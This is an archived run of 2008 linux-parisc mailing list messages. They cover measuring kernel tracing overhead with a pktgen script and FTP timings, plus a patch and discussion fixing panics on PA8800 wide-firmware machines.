pgset "add_device eth0" 
pgset "max_before_softirq 10000"

# Configure the individual devices
echo "Configuring devices"

PGDEV=/proc/net/pktgen/eth0

pgset "clone_skb 5000000" 
pgset "min_pkt_size 60" 
pgset "max_pkt_size 60" 
pgset "dst 10.24.252.109" 
pgset "dst_mac 00:50:04:1B:2C:17"
pgset "count 5000000"

# Time to run

PGDEV=/proc/net/pktgen/pgctrl

echo "Running... ctrl^C to stop"

pgset "start" 

# cat /proc/net/pktgen/eth? | fgrep Result
=== <> ===

And grab following results:
# With Kernel including ccio_trace_marker but ccio_trace module not running
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 455759  errors: 0
     started: 1201169852886722us  stopped: 1201169912731117us idle: 217617us
     seq_num: 455760  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 59844395(c59626778+d217617) usec, 455759 (60byte,0frags)
  7615pps 3Mb/sec (3655200bps) errors: 0

# With Kernel including ccio_trace_marker and ccio_trace module running
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 138863  errors: 0
     started: 1201170611403245us  stopped: 1201170675285642us idle: 4334664us
     seq_num: 138864  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 63882397(c59547733+d4334664) usec, 138863 (60byte,0frags)
  2173pps 1Mb/sec (1043040bps) errors: 0

# With Kernel without ccio_trace_marker
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 474350  errors: 0
     started: 1201243919209991us  stopped: 1201243981190756us idle: 188937us
     seq_num: 474351  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 61980765(c61791828+d188937) usec, 474350 (60byte,0frags)
  7653pps 3Mb/sec (3673440bps) errors: 0

I am not sure how to read those results so I also do some ftp and grab
following data:

# With Kernel including ccio_trace_marker but ccio_trace module not running
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 54.42 secs (854.8 kB/s)

# With Kernel including ccio_trace_marker and ccio_trace module running
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 59.26 secs (784.9 kB/s)

# With kernel without ccio_trace_marker
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 55.66 secs (835.8 kB/s)

I agree it decrease a bit the system performance but doesn't slow it down so
much that it would take several hours to boot has printk() did to me ;-)

> However, that doesn't mean this is useless. This is alot better than
> rolling our own "light weight" tracing mechanism and it's certainly
> alot better than using printk's to debug DMA issues (as long as
> the system doesn't crash - e.g. HPMC).
> 
Yes there are limits to this method but for parisc I know so few kernel
debugging tools that I would like to mentioned here the easiness of this patch
implementation (even for a non C programmer as I ;<)

Cheers,
    r.

PS: I didn't put this code here just because all what I have wouldn't apply on
the current p-l ccio-dma.c src.


> hth,
> grant
> 
> > I still have to had some more DEBUG_RUN_SG() stuff and hope to be able to
> > collect more.
> > 
> > Cheers,
> >     r.
> > 
> > ---
> > Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> > http://www.scarlet.be/
> > 
> > -
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 'Trace patches test' [Was: ccio_clear_io_tlb() and __raw_write() 
	more question?]
Date: Fri, 25 Jan 2008 11:20:10 +0100
Lines: 227
Approved: news@gmane.org
Message-ID: <JV73DM$DE01A483C09ECB50FC4E5CC75811639E@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1201256466 26314 80.91.229.12 (25 Jan 2008 10:21:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jan 2008 10:21:06 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 25 11:21:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JILgZ-0000jd-TW
	for glpp-linux-parisc@gmane.org; Fri, 25 Jan 2008 11:21:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753312AbYAYKU3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Jan 2008 05:20:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755353AbYAYKU3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 25 Jan 2008 05:20:29 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:34150 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753312AbYAYKU0 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Jan 2008 05:20:26 -0500
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m0PAKA0h009337;
	Fri, 25 Jan 2008 11:20:16 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:90
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/90>

> On Tue, Jan 22, 2008 at 02:35:21PM +0100, rubisher wrote:
> > Btw, a while back, I dream to use relayfs to grab debug info.
> >
(<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/053237.html>)
> > 
> > Somebody else write it:
> > <http://lkml.org/lkml/2007/11/13/208>
> > 
> > Obviously, I have to instrument things manually but I test it succesfully.
> > Here is already some primarily data test:
> > [snip]
> > :1201001199222127606:ccio_map_single_1:ccio_map_single() 0x1eb91896 ->
> > 0x63b4896 size: 0x1000
> > :1201001199222203288:ccio_map_single_2: pdir 1fcb1da0 038100000eb91017
> > :1201001199222391065:ccio_map_single_1:ccio_map_single() 0x1febc096 ->
> > 0x63b5096 size: 0x1000
> ...
> > Exciting results?
> 
> Yes! Nice!
> 
> > (just what would give me DEBUG_RUN() printk() but without
> >  degrading system performance)
> 
> I don't believe that. :)
> Measure the CPU utilization and/or compare pktgen performance with
> and without the tracing compiled into the kernel.
> 
Having no clue about pktgen, I have a look and rebuild kernels with this
option and here are some results:
I use a pktgen-single script like:
#!/bin/sh
# "Simply" config: run single port.

#modprobe pktgen

function pgset() {
    local result

    echo $1 > $PGDEV

    result=`cat $PGDEV | fgrep "Result: OK:"`
    if [ "$result" = "" ]; then
         cat $PGDEV | fgrep Result:
    fi
}

# On UP systems only one thread exists -- so just add devices 
# We use eth1, eth2

echo "Adding devices to run". 

# eth0 interrupts on CPU0
PGDEV=/proc/net/pktgen/kpktgend_0
pgset "rem_device_all" 
pgset "add_device eth0" 
pgset "max_before_softirq 10000"

# Configure the individual devices
echo "Configuring devices"

PGDEV=/proc/net/pktgen/eth0

pgset "clone_skb 5000000" 
pgset "min_pkt_size 60" 
pgset "max_pkt_size 60" 
pgset "dst 10.24.252.109" 
pgset "dst_mac 00:50:04:1B:2C:17"
pgset "count 5000000"

# Time to run

PGDEV=/proc/net/pktgen/pgctrl

echo "Running... ctrl^C to stop"

pgset "start" 

# cat /proc/net/pktgen/eth? | fgrep Result
=== <> ===

And grab following results:
# With Kernel including ccio_trace_marker but ccio_trace module not running
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 455759  errors: 0
     started: 1201169852886722us  stopped: 1201169912731117us idle: 217617us
     seq_num: 455760  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 59844395(c59626778+d217617) usec, 455759 (60byte,0frags)
  7615pps 3Mb/sec (3655200bps) errors: 0

# With Kernel including ccio_trace_marker and ccio_trace module running
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 138863  errors: 0
     started: 1201170611403245us  stopped: 1201170675285642us idle: 4334664us
     seq_num: 138864  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 63882397(c59547733+d4334664) usec, 138863 (60byte,0frags)
  2173pps 1Mb/sec (1043040bps) errors: 0

# With Kernel without ccio_trace_marker
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 474350  errors: 0
     started: 1201243919209991us  stopped: 1201243981190756us idle: 188937us
     seq_num: 474351  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 61980765(c61791828+d188937) usec, 474350 (60byte,0frags)
  7653pps 3Mb/sec (3673440bps) errors: 0

I am not sure how to read those results so I also do some ftp and grab
following data:

# With Kernel including ccio_trace_marker but ccio_trace module not running
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 54.42 secs (854.8 kB/s)

# With Kernel including ccio_trace_marker and ccio_trace module running
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 59.26 secs (784.9 kB/s)

# With kernel without ccio_trace_marker
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 55.66 secs (835.8 kB/s)

I agree it decrease a bit the system performance but doesn't slow it down so
much that it would take several hours to boot has printk() did to me ;-)

> However, that doesn't mean this is useless. This is alot better than
> rolling our own "light weight" tracing mechanism and it's certainly
> alot better than using printk's to debug DMA issues (as long as
> the system doesn't crash - e.g. HPMC).
> 
Yes there are limits to this method but for parisc I know so few kernel
debugging tools that I would like to mentioned here the easiness of this patch
implementation (even for a non C programmer as I ;<)

Cheers,
    r.

PS: I didn't put this code here just because all what I have wouldn't apply on
the current p-l ccio-dma.c src.


> hth,
> grant
> 
> > I still have to had some more DEBUG_RUN_SG() stuff and hope to be able to
> > collect more.
> > 
> > Cheers,
> >     r.
> > 
> > ---
> > Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> > http://www.scarlet.be/
> > 
> > -
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix intermittent panics on wide firmware boxes
Date: Fri, 01 Feb 2008 12:24:01 -0600
Lines: 149
Approved: news@gmane.org
Message-ID: <1201890241.3134.54.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1201890271 2062 80.91.229.12 (1 Feb 2008 18:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Feb 2008 18:24:31 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 01 19:24:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JL0Z5-00079I-Dz
	for glpp-linux-parisc@gmane.org; Fri, 01 Feb 2008 19:24:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752628AbYBASYH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Feb 2008 13:24:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753428AbYBASYH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 Feb 2008 13:24:07 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:33601 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752628AbYBASYF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Feb 2008 13:24:05 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 95C9397DF
	for <linux-parisc@vger.kernel.org>; Fri,  1 Feb 2008 12:24:02 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EXVRxPaCS8da for <linux-parisc@vger.kernel.org>;
	Fri,  1 Feb 2008 12:24:02 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id CF0DC8C47
	for <linux-parisc@vger.kernel.org>; Fri,  1 Feb 2008 12:24:01 -0600 (CST)
X-Mailer: Evolution 2.12.3 (2.12.3-1.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:91
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/91>

I've been trying to diagnose this panic on a pa8800 box with git head:

LBA: Truncating lmmio_space [fffffffff0000000/fffffffffecffffe] to [fffffffff0000000,fffffffffe77ffff]
powersw: Soft power switch support not available.
Backtrace:
 [<000000004011c7a0>] real32_call+0x148/0x178
 [<000000004013ec7c>] enqueue_task_fair+0x6c/0xb0
 [<000000004013f418>] update_rq_clock+0x30/0x48
 [<000000004013e800>] set_next_entity+0x38/0x70
 [<000000004016dca0>] autoremove_wake_function+0x18/0x48
 [<00000000401bbda4>] cache_alloc_debugcheck_after+0x24c/0x300
 [<000000004025c500>] kobject_uevent_env+0x418/0x5a8
 [<000000004025b10c>] kobject_put+0x24/0x30
 [<000000004015af60>] __sysctl_head_next+0x78/0x120
 [<0000000040174234>] sysctl_check_table+0x494/0x938
 [<000000004015b078>] sysctl_head_finish+0x40/0x60
 [<000000004011c7a0>] real32_call+0x148/0x178
 [<000000004013e3f8>] calc_delta_mine+0x68/0xf8
 [<000000004018621c>] touch_softlockup_watchdog+0x3c/0x50
 [<000000004014a66c>] task_tick_fair+0x84/0xf0
 [<0000000040186720>] softlockup_tick+0x128/0x1c0


Kernel Fault: Code=26 regs=000000007f46c7d0 (Addr=0000000000000158)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Not tainted
r00-03  000000000804000f 0000000040583be0 0000000040104084 000000007f46c290
r04-07  000000004057f3e0 000000007f46c360 0000000000000000 000000007f44e040
r08-11  00000000404d7dc0 0000000000000000 000000007f44e288 00000000405bc340
r12-15  0000000000000001 00000000405bbc00 0000000040447300 0000000000000001
r16-19  000000007f46c360 00000000404dc400 00000000405bc340 0000000000000000
r20-23  000000007f46c290 0000000000000000 0000000000000310 0000000000000000
r24-27  0000000000000000 000000007f46c360 00000000403d5030 000000004057f3e0
r28-31  000000007f46c000 000000007f46c690 000000007f46c7d0 000000007f46c000
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004011af54 000000004011af58
 IIR: 4a7702b0    ISR: 0000000000000000  IOR: 0000000000000158
 CPU:        0   CR30: 000000007f46c000 CR31: fffffff0f0e098e0
 ORIG_R28: 000000004013e3f8
 IAOQ[0]: handle_interruption+0x804/0x890
 IAOQ[1]: handle_interruption+0x808/0x890
 RP(r2): intr_check_sig+0x0/0x38

The reason is actually that %cr30 is NULL, which should be an
impossibility.  However, all the real32_call() places in the trace
intrigued me because they shouldn't happen on a pa8800 ... it has only
wide firmware, so only 64 bit realmode calls can work.

It transpires that the way we call PDC console constantly causes these
real32_call() calls to be invoked leading to the panic.  Sure enough, if
I scrub them out of my build with the attached patch, the panic goes and
git head boots just fine.

James

diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 27827bc..7ddf756 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -11,10 +11,11 @@ obj-y	     	:= cache.o pacache.o setup.o traps.o time.o irq.o \
 		   pa7300lc.o syscall.o entry.o sys_parisc.o firmware.o \
 		   ptrace.o hardware.o inventory.o drivers.o semaphore.o \
 		   signal.o hpmc.o real2.o parisc_ksyms.o unaligned.o \
-		   process.o processor.o pdc_cons.o pdc_chassis.o unwind.o \
+		   process.o processor.o pdc_chassis.o unwind.o \
 		   topology.o
 
 obj-$(CONFIG_SMP)	+= smp.o
+obj-$(CONFIG_PDC_CONSOLE)	+= pdc_cons.o
 obj-$(CONFIG_PA11)	+= pci-dma.o
 obj-$(CONFIG_PCI)	+= pci.o
 obj-$(CONFIG_MODULES)	+= module.o
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 4ab83d5..378bc61 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1080,7 +1080,7 @@ void pdc_io_reset_devices(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 
-
+#ifdef CONFIG_PDC_CONSOLE
 /**
  * pdc_iodc_print - Console print using IODC.
  * @str: the string to output.
@@ -1168,7 +1168,9 @@ int pdc_iodc_getc(void)
 	
 	return ch;
 }
+#endif
 
+#ifdef CONFIG_FB_STI
 int pdc_sti_call(unsigned long func, unsigned long flags,
                  unsigned long inptr, unsigned long outputr,
                  unsigned long glob_cfg)
@@ -1183,6 +1185,7 @@ int pdc_sti_call(unsigned long func, unsigned long flags,
         return retval;
 }
 EXPORT_SYMBOL(pdc_sti_call);
+#endif
 
 #ifdef CONFIG_64BIT
 /**
@@ -1375,7 +1378,6 @@ int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val)
  * to overlay real_stack (real2.S), preparing a 32-bit call frame.
  * real32_call_asm() then uses this stack in narrow real mode
  */
-
 struct narrow_stack {
 	/* use int, not long which is 64 bits */
 	unsigned int arg13;
@@ -1404,6 +1406,14 @@ long real32_call(unsigned long fn, ...)
 	extern unsigned long real32_call_asm(unsigned int *,
 					     unsigned int *, 
 					     unsigned int);
+
+	/* Calling real32_call without narrow firmware is a serious
+	 * problem and can lead to crashes */
+	if (unlikely(!parisc_narrow_firmware)) {
+		printk(KERN_ERR "Invalid call to 32 bit firmware\n");
+		WARN_ON(1);
+		return -EINVAL;
+	}
 	
 	va_start(args, fn);
 	real_stack.arg0 = va_arg(args, unsigned int);
diff --git a/include/asm-parisc/pdc.h b/include/asm-parisc/pdc.h
index deda8c3..d11aabb 100644
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -588,8 +588,13 @@ struct pdc_hpmc_pim_20 { /* PDC_PIM */
 	__u64 fr[32];
 };
 
+#ifdef CONFIG_PDC_CONSOLE
 void pdc_console_init(void);	/* in pdc_console.c */
 void pdc_console_restart(void);
+#else
+static inline void  pdc_console_init(void) { }
+static inline void pdc_console_restart(void) { }
+#endif
 
 void setup_pdc(void);		/* in inventory.c */
 



From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix intermittent panics on wide firmware boxes
Date: Sun, 3 Feb 2008 19:09:08 -0500 (EST)
Lines: 8
Approved: news@gmane.org
Message-ID: <200802040009.m14099EL019300@hiauly1.hia.nrc.ca>
References: <1201890241.3134.54.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202084904 16045 80.91.229.12 (4 Feb 2008 00:28:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2008 00:28:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 01:28:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JLpCV-0005pU-KK
	for glpp-linux-parisc@gmane.org; Mon, 04 Feb 2008 01:28:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754087AbYBDA2M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2008 19:28:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754039AbYBDA2M
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Feb 2008 19:28:12 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2858 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754087AbYBDA2K (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2008 19:28:10 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m1409AYq019301;
	Sun, 3 Feb 2008 19:09:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m14099EL019300;
	Sun, 3 Feb 2008 19:09:09 -0500 (EST)
In-Reply-To: <1201890241.3134.54.camel@localhost.localdomain> from "James Bottomley" at Feb 1, 2008 12:24:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:92
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/92>

> +#ifdef CONFIG_FB_STI

Should this be CONFIG_STI_CONSOLE?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix intermittent panics on wide firmware boxes
Date: Sun, 03 Feb 2008 18:36:56 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <1202085416.3318.134.camel@localhost.localdomain>
References: <200802040009.m14099EL019300@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202085432 17212 80.91.229.12 (4 Feb 2008 00:37:12 GMT)
